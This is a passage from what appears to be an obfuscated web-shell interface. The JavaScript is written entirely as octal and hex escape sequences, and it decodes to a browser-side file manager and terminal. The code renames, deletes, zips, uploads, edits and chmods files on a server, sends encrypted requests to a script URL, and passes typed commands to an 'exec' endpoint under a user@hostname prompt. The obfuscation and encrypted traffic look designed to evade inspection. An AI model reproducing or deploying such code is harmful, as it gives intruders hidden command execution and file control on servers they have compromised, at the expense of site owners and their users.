5\162\x72\145\156\x74\x20\x6e\x61\x6d\x65\x27\40\x7d\x29\73\x20\151\146\40\50\x6e\x65\167\116\141\x6d\145\40\x26\x26\x20\x6e\145\x77\x4e\141\x6d\x65\x20\41\75\x3d\x20\x6f\x6c\x64\x4e\141\x6d\x65\x29\40\x7b\40\x63\157\156\163\x74\x20\x72\x65\x73\40\75\x20\141\x77\x61\x69\164\x20\164\150\151\x73\x2e\x61\x70\x69\x28\x27\162\x65\156\141\155\145\47\x2c\40\x7b\40\160\x61\164\x68\54\x20\156\x65\167\x4e\141\155\x65\x20\175\x29\x3b\x20\x69\x66\x20\x28\x72\145\x73\56\163\x74\141\164\165\x73\x20\x3d\75\x3d\x20\x27\x73\165\x63\x63\x65\x73\163\x27\51\x20\x7b\x20\x74\150\x69\163\x2e\x74\157\x61\x73\164\x28\162\x65\163\x2e\x6d\x65\163\163\x61\147\x65\x29\73\40\164\150\151\x73\x2e\x6c\x6f\x61\x64\106\151\x6c\x65\x73\50\164\150\x69\x73\56\143\x77\144\51\x3b\40\175\x20\175\x20\x7d\x2c\xa\40\11\x9\141\x73\x79\x6e\x63\x20\144\x65\154\x65\164\145\x49\x74\x65\x6d\50\x70\x61\164\x68\54\40\x6e\x61\x6d\145\51\x20\x7b\x20\x63\x6f\156\163\x74\x20\143\157\156\146\151\x72\155\x65\x64\x20\75\x20\141\x77\x61\x69\x74\x20\x74\x68\x69\x73\x2e\163\150\157\x77\x43\157\156\x66\151\162\x6d\115\x6f\144\x61\x6c\x28\140\x41\x72\145\40\171\157\x75\x20\x73\165\162\145\x20\x79\157\165\40\167\x61\x6e\164\x20\x74\x6f\x20\144\x65\154\x65\164\x65\x20\x3c\163\164\x72\x6f\x6e\147\x3e\42\x24\x7b\156\141\155\x65\175\42\x3c\x2f\x73\x74\x72\157\x6e\x67\x3e\x3f\x60\x2c\40\x7b\40\164\x79\160\145\x3a\40\47\144\141\x6e\147\x65\162\47\54\x20\x6f\153\124\145\x78\x74\72\40\x27\x44\x65\x6c\x65\164\x65\x27\54\x20\x63\141\156\143\145\154\124\x65\170\164\x3a\x20\x27\103\x61\156\143\145\x6c\47\40\x7d\51\x3b\x20\151\146\x20\50\143\157\156\146\x69\x72\155\145\x64\x29\x20\173\x20\143\157\x6e\163\x74\40\x72\145\163\x20\75\x20\141\x77\141\151\164\x20\164\150\x69\163\x2e\141\160\x69\x28\47\144\145\x6c\145\x74\145\x27\x2c\x20\x7b\40\160\x61\164\x68\x20\x7d\x29\73\x20\151\x66\40\50\x72\145\x73\56\163\164\141\x74\x75\x73\x20\x3d\x3d\x3d\40\x27\163\165\x63\143\x65\163\x73\47\51\x20\173\40\164\x68\151\x73\56\x74\x6f\x61\163\164\x28\x72\x65\x73\56\x6d\x65\163\x73\141\147\145\51\73\40\x74\150\151\x73\x2e\x6c\157\x61\144\x46\151\154\x65\x73\50\x74\x68\151\163\56\143\x77\x64\51\73\x20\x7d\40\x7d\x20\175\54\12\40\x9\11\x61\163\x79\156\143\x20\172\x69\x70\x49\x74\145\155\50\160\141\x74\150\x29\x20\173\x20\143\157\156\163\x74\x20\143\157\x6e\146\151\162\155\x65\x64\x20\75\40\x61\167\141\151\x74\40\x74\150\x69\x73\56\x73\150\157\x77\103\157\156\146\x69\x72\155\115\x6f\x64\141\154\50\x60\x43\x72\145\x61\164\x65\x20\x61\x20\172\x69\160\40\x61\162\143\150\151\x76\x65\40\157\146\40\74\163\x74\162\x6f\x6e\x67\76\42\x24\173\x70\x61\164\x68\x2e\x73\x70\x6c\x69\x74\x28\x27\x2f\47\51\x2e\x70\x6f\x70\x28\51\x7d\42\x3c\x2f\x73\x74\162\157\156\x67\76\77\140\54\x20\x7b\40\x74\171\x70\x65\72\40\47\x71\x75\145\x73\164\x69\157\x6e\x27\40\175\51\73\x20\151\146\40\x28\143\x6f\156\x66\x69\x72\155\145\x64\51\x20\x7b\40\x63\157\156\163\x74\x20\162\x65\x73\x20\x3d\x20\x61\x77\141\151\x74\x20\x74\x68\x69\x73\56\141\160\x69\x28\x27\172\x69\160\x27\x2c\40\x7b\x20\160\141\164\150\40\x7d\51\x3b\x20\x69\x66\x20\50\x72\145\x73\56\163\x74\x61\164\x75\163\x20\x3d\75\x3d\40\x27\x73\x75\x63\x63\145\x73\163\47\x29\x20\x7b\x20\164\x68\x69\x73\56\x74\157\141\163\x74\50\x72\x65\x73\56\x6d\x65\163\x73\141\147\x65\51\73\40\x74\x68\151\163\56\154\x6f\x61\144\x46\151\154\145\x73\x28\x74\150\x69\x73\x2e\x63\x77\x64\x29\73\40\x7d\x20\175\x20\175\x2c\12\40\x9\x9\x61\163\x79\156\143\40\165\x6e\172\151\x70\x49\x74\x65\x6d\50\x70\141\x74\150\51\x20\x7b\x20\143\157\156\x73\164\40\143\x6f\x6e\146\x69\162\155\145\x64\x20\75\40\141\167\141\151\164\x20\x74\x68\151\163\x2e\x73\150\157\x77\x43\x6f\x6e\x66\x69\162\x6d\x4d\x6f\144\x61\x6c\50\x60\x45\170\164\162\x61\143\164\40\74\163\164\162\157\x6e\147\76\42\x24\x7b\x70\141\164\x68\56\163\160\x6c\x69\164\50\x27\x2f\x27\x29\56\x70\157\160\x28\x29\175\42\74\57\x73\164\x72\157\156\x67\x3e\77\x60\54\40\173\40\164\171\x70\145\72\x20\47\161\165\145\x73\x74\151\x6f\156\x27\40\x7d\51\73\x20\x69\x66\40\50\x63\x6f\156\146\x69\x72\155\145\144\x29\40\x7b\40\x63\157\x6e\x73\x74\x20\x72\x65\163\40\75\40\141\167\141\151\164\40\164\x68\151\x73\x2e\x61\x70\x69\50\47\x75\x6e\x7a\x69\x70\x27\x2c\40\173\40\x70\x61\x74\x68\40\x7d\x29\x3b\40\x69\x66\x20\x28\162\145\x73\56\x73\164\141\x74\165\x73\x20\75\x3d\x3d\40\47\163\x75\x63\x63\145\x73\163\x27\x29\40\x7b\40\x74\x68\151\x73\56\164\x6f\x61\163\x74\x28\162\x65\163\x2e\155\145\163\163\x61\147\x65\51\73\40\x74\150\151\163\x2e\x6c\x6f\141\x64\x46\x69\x6c\x65\x73\50\164\150\x69\x73\56\x63\167\144\x29\x3b\40\175\x20\175\x20\175\54\12\x20\11\x9\x61\x73\x79\156\x63\x20\x75\x70\154\x6f\141\x64\106\x69\154\145\x73\50\145\x29\40\173\12\40\11\x9\11\x63\x6f\156\x73\x74\40\146\151\154\145\x73\40\75\40\x41\x72\x72\141\x79\56\146\162\x6f\x6d\x28\x65\56\x74\x61\162\x67\145\164\56\x66\151\154\x65\x73\51\x3b\40\151\146\x20\x28\x21\x66\151\154\x65\x73\56\154\x65\x6e\147\x74\150\x29\40\162\145\x74\x75\162\x6e\73\x20\x74\150\x69\x73\x2e\x74\157\141\x73\164\x28\x60\125\x70\154\x6f\x61\144\151\156\x67\40\x24\x7b\x66\x69\x6c\145\x73\x2e\x6c\x65\x6e\x67\x74\150\175\40\146\151\x6c\145\50\163\51\56\56\x2e\x60\51\73\12\40\x9\11\x9\143\157\x6e\x73\x74\40\x66\157\x72\155\x44\141\x74\141\40\75\x20\x6e\x65\x77\40\x46\157\x72\155\104\x61\x74\141\50\x29\73\xa\x20\11\11\x9\143\157\x6e\x73\x74\x20\x70\x61\x79\x6c\157\141\144\x20\x3d\x20\173\x20\141\x63\164\x69\x6f\x6e\x3a\40\x27\x75\160\154\x6f\141\144\x27\x2c\40\160\x61\x74\150\x3a\x20\164\150\x69\x73\x2e\143\167\x64\x20\x7d\x3b\xa\40\11\11\x9\x66\x6f\x72\155\x44\141\x74\x61\x2e\x61\160\x70\x65\156\x64\x28\47\x70\47\x2c\x20\164\150\x69\x73\56\145\156\143\x72\x79\x70\164\x28\x4a\123\x4f\116\x2e\x73\x74\x72\151\156\x67\151\146\x79\x28\x70\141\171\x6c\157\x61\144\51\51\x29\x3b\12\40\11\11\x9\x66\x69\154\145\163\x2e\146\x6f\x72\x45\x61\143\150\50\146\151\x6c\145\40\75\76\x20\146\157\x72\x6d\104\x61\164\x61\x2e\141\x70\x70\x65\156\x64\x28\47\146\151\x6c\145\133\135\47\x2c\x20\x66\x69\x6c\145\x29\x29\73\xa\x20\11\11\11\164\x72\x79\x20\173\xa\x20\11\x9\x9\11\x63\157\x6e\x73\164\40\162\x65\x73\40\75\40\141\167\141\151\x74\40\146\x65\164\x63\x68\50\123\103\x52\111\120\124\137\125\x52\x4c\54\x20\173\x20\x6d\x65\x74\150\157\x64\x3a\x20\x27\120\117\x53\124\47\x2c\40\x62\x6f\x64\171\x3a\40\146\x6f\x72\155\104\x61\x74\141\40\x7d\x29\x3b\40\x63\157\156\163\164\40\145\156\143\x6f\x64\x65\144\x52\x65\x73\160\157\156\x73\x65\x20\75\40\x61\167\x61\x69\x74\x20\x72\x65\x73\x2e\x74\x65\x78\164\50\51\x3b\40\x63\157\x6e\x73\x74\40\152\163\157\156\x20\75\x20\x4a\x53\117\116\56\160\x61\162\x73\x65\x28\x74\150\151\163\56\x64\145\x63\x72\171\x70\164\x28\x65\156\143\157\x64\x65\x64\122\x65\163\x70\157\156\x73\145\51\x29\73\xa\x20\11\x9\11\x9\x74\150\151\163\56\164\x6f\x61\x73\x74\x28\x6a\x73\157\156\x2e\155\x65\x73\163\x61\147\x65\x2c\x20\x6a\163\157\156\x2e\x73\x74\x61\164\x75\163\51\x3b\40\164\x68\x69\163\x2e\x6c\x6f\x61\144\106\151\x6c\x65\163\x28\x74\x68\x69\163\x2e\x63\167\144\x29\x3b\xa\x20\x9\11\x9\x7d\40\x63\141\164\143\150\x20\x28\145\162\x72\x29\x20\173\x20\x74\150\x69\163\x2e\x74\157\x61\163\x74\x28\x27\x55\x70\154\157\x61\144\40\146\141\151\x6c\x65\x64\56\47\54\x20\47\x65\x72\x72\157\x72\x27\x29\73\40\175\x20\146\x69\x6e\141\154\154\x79\40\173\40\145\56\164\141\x72\147\145\x74\x2e\166\x61\x6c\x75\145\40\x3d\40\x27\x27\73\40\175\12\x20\x9\x9\x7d\54\xa\x20\11\x9\141\163\x79\156\x63\40\x73\x68\157\167\105\144\x69\164\x6f\162\50\x70\141\x74\x68\51\x20\173\12\40\11\x9\11\x63\157\156\163\x74\40\162\x65\x73\40\75\40\141\167\141\151\164\x20\164\150\x69\163\56\x61\160\x69\50\x27\147\x65\164\137\146\x69\x6c\x65\137\x63\x6f\156\x74\x65\x6e\164\x27\x2c\x20\x7b\x20\x70\x61\x74\150\40\175\51\x3b\x20\x69\146\40\50\x72\x65\163\56\163\x74\141\x74\x75\x73\x20\41\75\75\x20\47\163\x75\143\x63\x65\x73\x73\x27\x29\x20\x72\145\x74\165\x72\156\73\12\x20\x9\11\x9\164\150\x69\x73\56\163\150\157\x77\x4d\x6f\144\x61\x6c\x28\144\157\143\165\155\145\156\164\x2e\x67\145\164\105\154\x65\155\x65\156\x74\102\x79\111\144\x28\47\x65\x64\x69\164\157\162\x2d\155\157\x64\141\x6c\47\x29\51\x3b\40\x64\x6f\x63\x75\155\145\156\x74\56\147\145\x74\x45\154\145\x6d\x65\x6e\164\x42\x79\111\x64\x28\x27\145\x64\151\164\157\x72\x2d\x66\x69\x6c\145\156\x61\x6d\145\47\x29\x2e\151\156\156\145\x72\124\x65\x78\164\x20\x3d\40\160\141\x74\x68\x3b\12\x20\x9\x9\11\x69\146\x28\x21\164\150\x69\x73\56\145\x64\151\164\157\x72\51\x20\x7b\x20\x74\150\x69\163\x2e\145\144\151\164\157\162\x20\75\x20\x43\157\144\145\115\151\162\162\x6f\162\56\146\x72\x6f\155\124\x65\x78\x74\101\x72\x65\x61\50\144\x6f\x63\x75\155\x65\x6e\x74\x2e\147\145\164\x45\x6c\145\x6d\x65\156\164\x42\171\111\x64\50\x27\x65\144\151\x74\157\x72\x2d\164\x65\x78\x74\x61\162\145\141\47\x29\x2c\40\173\x20\x6c\x69\x6e\x65\x4e\x75\x6d\x62\145\162\x73\72\40\164\162\165\x65\x2c\x20\164\150\145\155\x65\x3a\x20\x27\144\x72\141\143\x75\x6c\x61\47\54\x20\x6d\x61\x74\143\x68\x42\162\x61\x63\x6b\x65\x74\163\x3a\40\x74\x72\165\145\x20\x7d\x29\x3b\40\x7d\xa\x20\x9\11\11\164\150\151\x73\x2e\145\144\151\164\x6f\162\x2e\x73\145\164\x56\141\x6c\x75\x65\x28\162\145\x73\56\x63\x6f\x6e\x74\145\156\x74\51\73\40\143\x6f\x6e\x73\x74\x20\155\x6f\x64\x65\x49\156\146\x6f\x20\75\40\x43\x6f\x64\145\x4d\151\x72\162\157\x72\56\146\151\156\144\x4d\157\x64\x65\102\171\x46\x69\154\145\x4e\x61\x6d\x65\x28\160\x61\164\150\51\73\12\x20\11\x9\x9\x69\x66\40\50\155\157\x64\145\x49\156\146\157\51\x20\173\40\164\150\x69\163\x2e\x65\x64\151\164\x6f\162\x2e\163\x65\164\x4f\160\164\x69\x6f\x6e\50\x27\x6d\x6f\x64\x65\47\x2c\x20\x6d\x6f\x64\145\111\156\146\157\56\x6d\151\155\145\x29\x3b\40\x7d\x20\x65\x6c\163\145\40\x7b\x20\164\150\x69\163\x2e\x65\144\x69\164\x6f\x72\x2e\x73\x65\164\117\x70\164\151\157\x6e\50\x27\155\x6f\x64\x65\47\x2c\40\47\x74\x65\x78\164\x2f\160\154\x61\x69\156\x27\x29\x3b\40\x7d\12\40\11\x9\x9\163\145\x74\124\x69\155\145\x6f\165\x74\50\50\51\40\75\76\x20\164\150\151\163\56\145\144\x69\x74\x6f\162\56\x72\145\x66\162\145\x73\150\x28\51\54\x20\61\51\73\xa\40\11\11\x9\144\157\143\x75\155\x65\156\x74\56\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\102\x79\111\144\x28\x27\163\x61\166\145\55\x66\x69\x6c\145\x2d\x62\164\156\47\51\x2e\157\x6e\143\154\151\143\153\x20\x3d\x20\141\x73\171\x6e\143\40\x28\x29\x20\x3d\x3e\x20\173\x20\x63\157\x6e\163\x74\x20\x73\x61\166\x65\x52\145\x73\40\75\40\141\x77\141\151\164\40\164\150\151\x73\x2e\141\x70\151\50\x27\x73\x61\166\145\137\x66\x69\154\x65\x27\54\x20\173\40\x70\x61\164\150\x2c\x20\143\x6f\x6e\x74\145\156\164\72\x20\164\150\x69\x73\56\x65\144\151\164\x6f\162\56\147\145\164\126\141\x6c\x75\x65\50\x29\40\175\51\x3b\40\x69\146\50\163\x61\x76\145\122\145\x73\x2e\163\x74\141\x74\x75\x73\x20\75\x3d\x3d\40\47\x73\x75\143\x63\145\x73\x73\47\51\x20\173\40\x74\150\151\163\56\164\157\x61\163\x74\x28\x73\x61\166\x65\122\x65\x73\56\x6d\x65\163\163\x61\147\x65\51\73\40\164\x68\x69\163\x2e\x63\x6c\x6f\163\x65\115\x6f\x64\x61\154\50\144\157\143\x75\x6d\145\x6e\164\x2e\x67\x65\x74\x45\x6c\145\x6d\x65\156\x74\x42\171\x49\x64\50\47\145\144\151\x74\157\162\55\155\x6f\144\141\154\x27\51\x29\73\40\164\150\x69\x73\56\x6c\157\x61\144\106\151\154\x65\x73\x28\164\x68\x69\x73\x2e\x63\167\144\51\73\x20\x7d\x20\175\73\xa\40\x9\11\x7d\x2c\xa\40\x9\x9\163\150\157\167\x43\x68\155\x6f\144\115\157\x64\x61\154\x28\x70\141\x74\150\54\40\x63\165\x72\x72\x65\x6e\164\x50\x65\162\x6d\x73\51\40\x7b\12\40\x9\11\x9\x63\157\x6e\163\164\x20\155\157\144\141\x6c\x20\75\x20\144\x6f\x63\165\155\x65\x6e\x74\56\147\x65\x74\105\x6c\x65\x6d\x65\156\164\x42\x79\111\x64\x28\x27\x63\150\155\x6f\x64\x2d\x6d\157\144\x61\154\47\51\x3b\40\x74\150\x69\x73\x2e\163\x68\x6f\167\x4d\157\x64\141\x6c\50\x6d\x6f\144\x61\154\x29\73\40\x64\157\143\x75\155\x65\156\164\x2e\147\x65\x74\105\154\x65\155\x65\x6e\x74\102\x79\111\144\x28\x27\x63\150\155\157\x64\x2d\x70\141\x74\x68\47\51\56\x76\x61\x6c\165\x65\x20\75\x20\160\141\x74\x68\x2e\163\160\x6c\151\164\x28\x27\57\47\51\56\x70\157\x70\x28\x29\73\x20\x63\x6f\x6e\x73\164\40\151\x6e\x70\x75\164\x20\75\x20\144\157\143\x75\155\145\x6e\164\56\x67\x65\164\x45\154\x65\155\x65\156\164\x42\x79\111\144\x28\x27\x63\x68\x6d\x6f\x64\55\x69\156\x70\165\164\x27\51\73\xa\40\11\x9\11\151\x6e\160\x75\x74\56\x76\x61\154\165\145\40\75\x20\x63\x75\162\162\x65\156\x74\120\x65\x72\155\x73\73\x20\151\156\x70\165\164\x2e\146\x6f\143\x75\x73\50\x29\73\12\40\x9\x9\11\x64\157\x63\x75\x6d\145\x6e\164\56\147\145\x74\105\154\x65\155\145\x6e\164\x42\171\x49\144\x28\x27\x63\x68\155\157\x64\55\163\x61\x76\145\x2d\142\164\x6e\47\x29\x2e\157\156\x63\x6c\151\143\153\40\75\x20\x61\x73\171\156\x63\40\50\51\x20\x3d\76\40\173\x20\x63\x6f\156\163\x74\40\x70\x65\162\155\x73\x20\75\40\x69\156\x70\x75\x74\x2e\x76\141\154\x75\x65\x3b\40\151\x66\x28\x70\145\162\155\163\x20\46\46\x20\57\136\133\60\55\67\x5d\173\63\x2c\x34\175\x24\57\x2e\x74\145\163\x74\x28\x70\145\162\x6d\163\51\51\x20\173\x20\141\x77\141\x69\164\x20\164\x68\x69\163\x2e\x61\160\x69\x28\x27\143\150\155\x6f\x64\x27\x2c\x20\173\40\x70\x61\164\150\54\x20\x70\145\162\155\163\40\x7d\51\73\x20\x74\x68\151\163\x2e\143\154\x6f\x73\x65\115\x6f\144\141\154\x28\155\157\144\x61\154\51\73\x20\x74\x68\151\163\56\154\x6f\x61\x64\x46\x69\x6c\x65\163\50\164\x68\x69\163\56\x63\x77\144\x29\x3b\40\175\40\x65\154\x73\145\40\x7b\x20\x74\150\151\163\x2e\x74\157\x61\163\164\x28\47\111\156\x76\141\x6c\x69\x64\x20\x70\145\162\x6d\151\163\163\x69\157\x6e\x20\146\x6f\162\x6d\x61\164\56\47\54\x20\47\145\162\162\x6f\162\47\x29\73\x20\175\x20\175\73\12\40\x9\11\175\x2c\12\40\11\x9\x73\150\x6f\167\x4d\x65\144\x69\x61\x4d\x6f\x64\141\154\x28\160\141\164\x68\x2c\x20\145\x78\164\51\x20\x7b\12\40\x9\11\11\x63\x6f\156\163\x74\x20\x6d\157\x64\141\x6c\40\75\x20\144\x6f\x63\x75\155\x65\x6e\x74\56\147\145\x74\x45\x6c\145\x6d\145\x6e\164\x42\x79\x49\144\x28\47\155\x65\x64\x69\141\x2d\155\157\144\141\x6c\47\51\73\40\143\157\x6e\163\x74\x20\x63\x6f\x6e\164\x65\x6e\x74\40\75\40\x64\157\x63\x75\155\145\x6e\x74\56\147\x65\x74\105\154\145\155\x65\156\x74\102\x79\111\144\x28\47\155\x65\x64\151\141\55\x63\157\x6e\164\145\x6e\x74\x27\x29\73\40\164\x68\x69\x73\x2e\163\x68\x6f\x77\115\157\x64\141\154\x28\155\x6f\144\x61\154\51\73\x20\x63\x6f\156\163\164\x20\165\x72\154\40\75\40\140\x24\173\123\x43\122\x49\x50\124\x5f\125\122\114\x7d\77\x64\x6f\x77\156\x6c\157\x61\x64\75\44\173\145\156\x63\x6f\x64\x65\125\122\x49\103\157\x6d\x70\157\x6e\145\156\x74\x28\x70\141\x74\150\51\x7d\x60\73\xa\40\11\11\11\x69\146\x20\x28\133\47\152\x70\147\x27\x2c\40\x27\x6a\160\145\147\47\54\x20\47\160\x6e\147\47\54\40\47\147\x69\x66\x27\x2c\40\x27\x77\145\142\x70\47\x2c\40\47\163\166\x67\x27\135\x2e\x69\x6e\143\x6c\165\144\145\x73\50\145\170\164\x29\51\x20\173\x20\143\157\x6e\x74\145\x6e\x74\56\x69\x6e\156\145\x72\x48\124\115\114\40\75\x20\x60\74\151\x6d\x67\40\163\x72\x63\x3d\x22\x24\x7b\165\162\x6c\175\x22\x20\x73\x74\171\154\x65\x3d\x22\155\141\170\x2d\x77\x69\144\x74\150\72\x31\60\60\45\x3b\40\x6d\x61\170\x2d\x68\x65\151\147\x68\164\x3a\x20\67\x30\166\x68\x3b\40\x62\157\x72\x64\x65\x72\x2d\162\141\x64\151\x75\x73\x3a\x20\66\160\170\73\42\x3e\x60\x3b\40\x7d\x20\x65\154\163\x65\40\173\x20\x63\x6f\x6e\x74\x65\156\164\x2e\x69\156\x6e\x65\162\x48\124\x4d\114\x20\x3d\x20\140\x3c\166\151\x64\145\x6f\40\143\157\x6e\164\162\x6f\154\x73\x20\x61\165\x74\157\x70\154\x61\171\x20\x73\162\x63\75\42\x24\173\x75\x72\x6c\x7d\x22\x20\x73\x74\171\x6c\x65\x3d\x22\x6d\x61\170\x2d\x77\x69\x64\164\150\72\x31\x30\x30\x25\x3b\x20\155\x61\x78\x2d\150\x65\x69\x67\x68\x74\x3a\40\67\x30\x76\150\73\x20\142\x6f\x72\144\145\162\55\x72\x61\x64\x69\x75\163\72\x20\x36\x70\170\73\x22\76\74\x2f\x76\151\x64\x65\157\76\x60\x3b\40\x7d\12\40\x9\x9\x7d\54\xa\40\x9\11\x68\141\156\x64\x6c\x65\x54\x65\x72\x6d\x69\x6e\141\154\x49\156\160\x75\x74\50\x65\x29\x20\173\xa\40\11\x9\x9\x63\157\x6e\163\x74\40\151\156\160\165\164\40\x3d\x20\x65\56\164\x61\162\147\x65\164\73\12\x20\x9\x9\11\x63\157\156\163\164\40\x68\141\156\x64\154\145\103\x6d\x64\40\75\x20\x61\163\x79\156\x63\x20\50\51\x20\x3d\x3e\40\173\xa\40\11\x9\x9\x9\x63\157\x6e\163\x74\x20\143\155\x64\40\x3d\40\x69\156\x70\x75\164\x2e\x76\141\x6c\165\x65\x3b\x20\164\x68\x69\163\x2e\x68\151\x73\x74\x6f\x72\x79\56\x75\156\163\150\151\x66\164\x28\x63\x6d\x64\x29\73\x20\x74\x68\x69\163\56\x68\151\163\x74\157\162\x79\111\156\x64\145\170\40\75\40\55\61\73\12\40\11\x9\x9\x9\164\x68\x69\x73\x2e\141\x70\160\x65\x6e\x64\x54\x65\x72\155\151\156\141\x6c\x4f\x75\164\160\165\x74\x28\x60\74\163\x70\x61\x6e\40\163\164\171\154\x65\75\42\x63\157\x6c\157\162\x3a\166\141\162\50\55\x2d\x61\143\x63\x65\156\x74\55\147\162\x65\145\x6e\51\73\42\76\44\x7b\164\150\x69\163\x2e\x75\163\x65\x72\175\100\x24\x7b\164\150\x69\163\x2e\150\x6f\x73\164\x6e\141\x6d\145\x7d\74\57\163\160\141\156\x3e\72\74\x73\160\x61\156\x20\x73\164\171\x6c\145\75\42\143\x6f\154\x6f\162\x3a\x76\x61\x72\x28\55\55\141\x63\x63\x65\x6e\164\55\142\x6c\165\x65\x29\73\x22\76\x24\173\x74\x68\151\x73\x2e\143\x77\x64\175\74\x2f\x73\x70\141\156\x3e\74\163\160\x61\x6e\40\x73\x74\171\154\145\x3d\x22\143\157\154\x6f\162\x3a\x76\141\162\50\55\55\141\143\x63\145\156\164\55\x67\157\x6c\144\x29\73\40\x6d\141\x72\x67\x69\x6e\72\x30\40\x35\x70\170\x3b\42\76\x24\74\x2f\163\x70\141\x6e\76\x3c\x73\160\141\x6e\x3e\x24\x7b\143\x6d\x64\x2e\x72\145\x70\154\141\x63\145\x28\57\x26\57\147\x2c\x20\42\x26\x61\x6d\160\73\42\x29\x2e\162\x65\160\x6c\x61\x63\x65\50\57\74\x2f\147\x2c\40\42\46\154\164\x3b\42\51\x2e\x72\x65\160\x6c\x61\x63\x65\50\x2f\76\57\x67\54\x20\x22\46\147\x74\x3b\42\51\175\x3c\57\163\x70\141\156\76\x60\51\x3b\xa\x20\11\11\x9\x9\151\156\160\165\x74\x2e\x76\x61\x6c\165\x65\x20\75\40\47\47\x3b\x20\x69\146\x20\50\x63\x6d\x64\56\164\x72\151\x6d\x28\51\x20\75\x3d\x3d\x20\47\143\x6c\145\141\x72\47\x29\40\173\40\x63\157\x6e\x73\164\40\x74\x65\162\155\117\165\164\160\x75\164\40\75\40\x64\157\x63\165\x6d\x65\156\x74\56\x67\x65\x74\105\154\x65\155\x65\x6e\164\102\171\x49\144\x28\x27\x74\x65\162\155\x2d\x6f\165\x74\160\165\x74\x27\x29\x3b\x20\x69\x66\x20\50\x74\145\x72\155\117\165\164\160\165\x74\x29\40\x74\145\162\x6d\x4f\165\164\x70\x75\x74\56\151\156\156\x65\162\110\x54\x4d\114\40\75\x20\47\47\73\40\162\145\x74\165\162\156\73\x20\175\12\x20\x9\11\x9\11\143\157\x6e\163\x74\40\x72\145\x73\x20\x3d\40\x61\x77\x61\x69\164\x20\164\150\x69\x73\56\x61\160\151\50\x27\145\x78\x65\143\x27\54\x20\x7b\40\143\155\144\x20\x7d\51\73\12\x20\11\11\11\11\151\x66\50\x72\x65\x73\x20\46\x26\x20\162\x65\163\x2e\163\164\141\164\165\x73\40\75\75\x3d\40\47\163\x75\143\143\x65\x73\163\47\x29\173\40\x74\x68\151\x73\56\141\x70\x70\x65\x6e\x64\124\x65\162\x6d\x69\x6e\141\154\x4f\165\164\160\165\164\x28\x72\x65\x73\x2e\157\165\x74\160\165\x74\x29\x3b\40\164\150\151\x73\56\143\167\x64\x20\75\x20\x72\x65\x73\56\x63\x77\x64\x3b\40\x74\x68\151\163\56\165\x70\144\141\164\x65\x54\x65\x72\155\151\156\x61\x6c\x50\162\x6f\x6d\x70\x74\50\x29\73\x20\143\157\x6e\163\x74\40\x63\x77\x64\105\x6c\x20\x3d\40\144\x6f\143\165\x6d\145\x6e\x74\x2e\x67\145\164\105\x6c\145\x6d\145\x6e\x74\x42\x79\x49\x64\50\47\143\167\144\47\x29\73\40\x69\x66\x20\x28\143\167\144\105\154\x29\40\x63\167\x64\x45\x6c\x2e\x76\141\154\165\145\x20\x3d\x20\164\150\x69\x73\56\x63\x77\x64\x3b\40\x63\x6f\156\x73\164\x20\146\151\x6c\145\163\x56\151\x65\167\x20\x3d\x20\x64\x6f\143\165\x6d\x65\156\x74\x2e\x67\x65\x74\x45\154\145\x6d\x65\156\x74\x42\x79\x49\x64\x28\x27\166\x69\x65\x77\55\146\151\x6c\x65\163\x27\x29\73\x20\151\x66\40\50\146\151\x6c\x65\x73\126\x69\145\167\x20\x26\x26\40\146\x69\x6c\x65\163\126\x69\x65\x77\x2e\x73\x74\x79\x6c\x65\56\x64\x69\x73\x70\x6c\x61\x79\40\75\75\75\40\x27\x66\154\145\170\47\x29\x20\173\x20\164\150\x69\163\x2e\x6c\157\141\144\x46\151\154\145\x73\50\x74\150\x69\x73\x2e\x63\167\144\x29\x3b\x20\175\x20\175\12\x20\x9\x9\x9\x7d\73\xa\x20\11\11\x9\x69\146\40\50\x65\x2e\153\x65\171\40\75\x3d\75\x20\x27\105\156\x74\145\x72\47\40\x26\x26\x20\x69\x6e\x70\x75\164\56\166\x61\154\x75\145\x29\x20\173\40\150\x61\156\x64\154\145\103\155\x64\x28\51\x3b\40\x7d\12\40\11\x9\x9\x65\154\x73\x65\40\x69\x66\40\x28\145\56\x6b\x65\x79\x20\x3d\x3d\x3d\40\x27\x41\162\x72\157\167\x55\160\47\51\40\173\x20\145\x2e\x70\162\145\166\x65\156\x74\x44\145\x66\x61\165\x6c\164\50\x29\73\x20\x69\146\50\164\x68\151\x73\56\x68\x69\163\x74\157\x72\x79\x49\x6e\x64\145\x78\40\74\40\164\150\x69\163\x2e\150\151\163\164\157\162\x79\x2e\154\x65\x6e\x67\x74\150\40\x2d\40\61\x29\x20\173\40\164\x68\x69\x73\56\150\x69\163\x74\x6f\162\x79\x49\x6e\x64\x65\170\x2b\53\x3b\40\151\x6e\160\x75\x74\x2e\166\141\x6c\165\145\x20\x3d\x20\164\150\x69\x73\56\150\x69\x73\164\x6f\162\x79\133\164\x68\151\163\x2e\x68\151\x73\164\157\162\171\x49\156\144\145\170\x5d\73\40\175\x20\175\xa\40\11\x9\11\145\154\x73\x65\x20\x69\x66\x20\x28\x65\56\153\145\171\40\x3d\75\x3d\x20\47\x41\162\x72\x6f\167\104\157\167\x6e\47\51\40\173\40\145\x2e\x70\162\145\166\x65\x6e\164\104\145\146\141\x75\x6c\x74\50\51\73\40\x69\146\x28\x74\150\151\163\x2e\x68\x69\163\164\x6f\x72\171\111\156\144\145\170\40\76\40\x30\51\40\x7b\40\x74\x68\x69\x73\56\150\x69\x73\x74\x6f\x72\171\111\x6e\x64\145\170\x2d\x2d\73\x20\151\156\160\165\x74\56\x76\141\x6c\x75\145\x20\75\x20\x74\150\x69\x73\56\150\x69\x73\x74\x6f\162\171\133\164\150\x69\163\x2e\150\x69\x73\164\x6f\x72\x79\x49\x6e\144\x65\x78\x5d\x3b\40\x7d\x20\145\154\x73\145\x20\173\40\x74\x68\x69\163\56\150\x69\163\164\x6f\x72\x79\111\156\144\145\170\x20\75\40\x2d\61\73\40\x69\156\x70\165\x74\56\166\141\x6c\165\x65\40\x3d\x20\x27\47\73\40\x7d\x20\x7d\12\x20\x9\11\175\54\12\40\11\11\x61\x70\x70\145\156\144\124\145\162\x6d\151\x6e\x61\154\117\165\x74\x70\165\164\x28\164\145\x78\x74\51\x20\x7b\40\143\x6f\x6e\163\x74\40\145\154\x20\75\40\144\x6f\x63\165\x6d\145\x6e\x74\56\147\145\164\105\154\145\x6d\145\x6e\x74\x42\171\111\144\x28\x27\x74\x65\162\155\55\x6f\x75\164\x70\165\164\47\51\x3b\40\x69\146\x20\x28\145\x6c\51\x20\x7b\x20\145\x6c\x2e\151\x6e\156\x65\162\x48\x54\x4d\114\x20\x2b\75\x20\164\145\170\x74\x2e\162